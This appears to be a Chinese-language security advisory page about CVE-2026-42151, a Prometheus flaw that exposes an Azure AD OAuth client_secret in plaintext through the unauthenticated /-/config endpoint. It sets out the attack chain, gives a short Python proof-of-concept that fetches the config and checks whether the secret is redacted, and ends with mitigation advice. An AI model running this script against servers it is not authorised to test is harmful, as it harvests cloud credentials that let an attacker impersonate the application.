IPBUF安全漏洞报告
English
CVE-2026-42151 CVSS 7.5 高危

CVE-2026-42151 Prometheus敏感信息泄露漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42151
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Prometheus

相关标签

信息泄露Prometheus敏感数据暴露CVE-2026-42151

漏洞概述

Prometheus监控系统在3.5.3和3.11.3之前的版本中存在严重的信息泄露漏洞。该漏洞源于Azure AD远程写入OAuth配置的client_secret字段被错误地定义为普通字符串,而非Secret类型。因此,当Prometheus通过/-/config HTTP API端点提供服务时,未能对该字段进行脱敏处理,导致Azure OAuth客户端密钥以明文形式暴露。任何具有该端点访问权限的用户均可窃取凭据。

技术细节

该漏洞的技术核心在于Prometheus配置序列化过程中的类型安全检查缺失。Prometheus设计了一套机制,用于在通过HTTP API暴露内部配置时,自动隐藏标记为Secret类型的敏感字段(如密码、密钥),通常显示为"<redacted>"。然而,在storage/remote/azuread模块的实现中,Azure AD OAuth配置的client_secret字段被显式声明为标准的string类型。当系统处理对/-/config端点的请求时,它遍历配置结构体并生成JSON响应。由于client_secret未被识别为Secret类型,脱敏逻辑完全失效。攻击者无需进行身份认证(CVSS向量PR:N),仅需网络可达性(AV:N)即可发起攻击。利用步骤非常直接:攻击者发送一个简单的HTTP GET请求至目标服务器的/-/config路径。服务器响应包含完整的配置信息,其中Azure AD的客户端密钥以明文文本形式存在。一旦获取此密钥,攻击者可以利用OAuth 2.0流程向Azure AD验证身份,从而冒充Prometheus应用程序,潜在地访问受该身份保护的数据或资源。

攻击链分析

STEP 1
1. 侦察
攻击者发现并确认目标网络中运行着存在漏洞的Prometheus服务器。
STEP 2
2. 访问端点
攻击者向Prometheus服务器的/-/config HTTP API端点发送GET请求。
STEP 3
3. 信息获取
服务器返回包含配置信息的JSON数据,其中Azure AD的client_secret字段以明文形式显示。
STEP 4
4. 权限提升
攻击者利用泄露的客户端密钥,冒充Prometheus应用向Azure AD进行认证,进而访问云资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the Prometheus server # Ensure the target is running a vulnerable version (< 3.5.3 or < 3.11.3) target_url = "http://<prometheus-host>:9090/-/config" try: # Send a GET request to the config endpoint # No authentication is required based on the vulnerability description (PR:N) response = requests.get(target_url, timeout=10) if response.status_code == 200: config_data = response.text print("[+] Configuration retrieved successfully:") print(config_data) # Check if azuread client_secret is exposed in plaintext # Vulnerable versions will show the actual secret, fixed versions show "<redacted>" if '"client_secret":' in config_data and '<redacted>' not in config_data: print("\n[!] Potential Vulnerability Found: Azure AD client_secret is exposed in plaintext.") else: print("\n[-] Secret appears to be redacted or not present.") else: print(f"[-] Failed to retrieve config. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}")

影响范围

Prometheus < 3.5.3
Prometheus < 3.11.3

防御指南

临时缓解措施
如果无法立即升级补丁,建议通过网络访问控制列表(ACL)或防火墙规则,严格限制对Prometheus服务器/-/config端点的访问,仅允许受信任的IP或内部管理网络访问,防止未授权用户获取配置信息。同时,应轮换已泄露的Azure AD客户端密钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表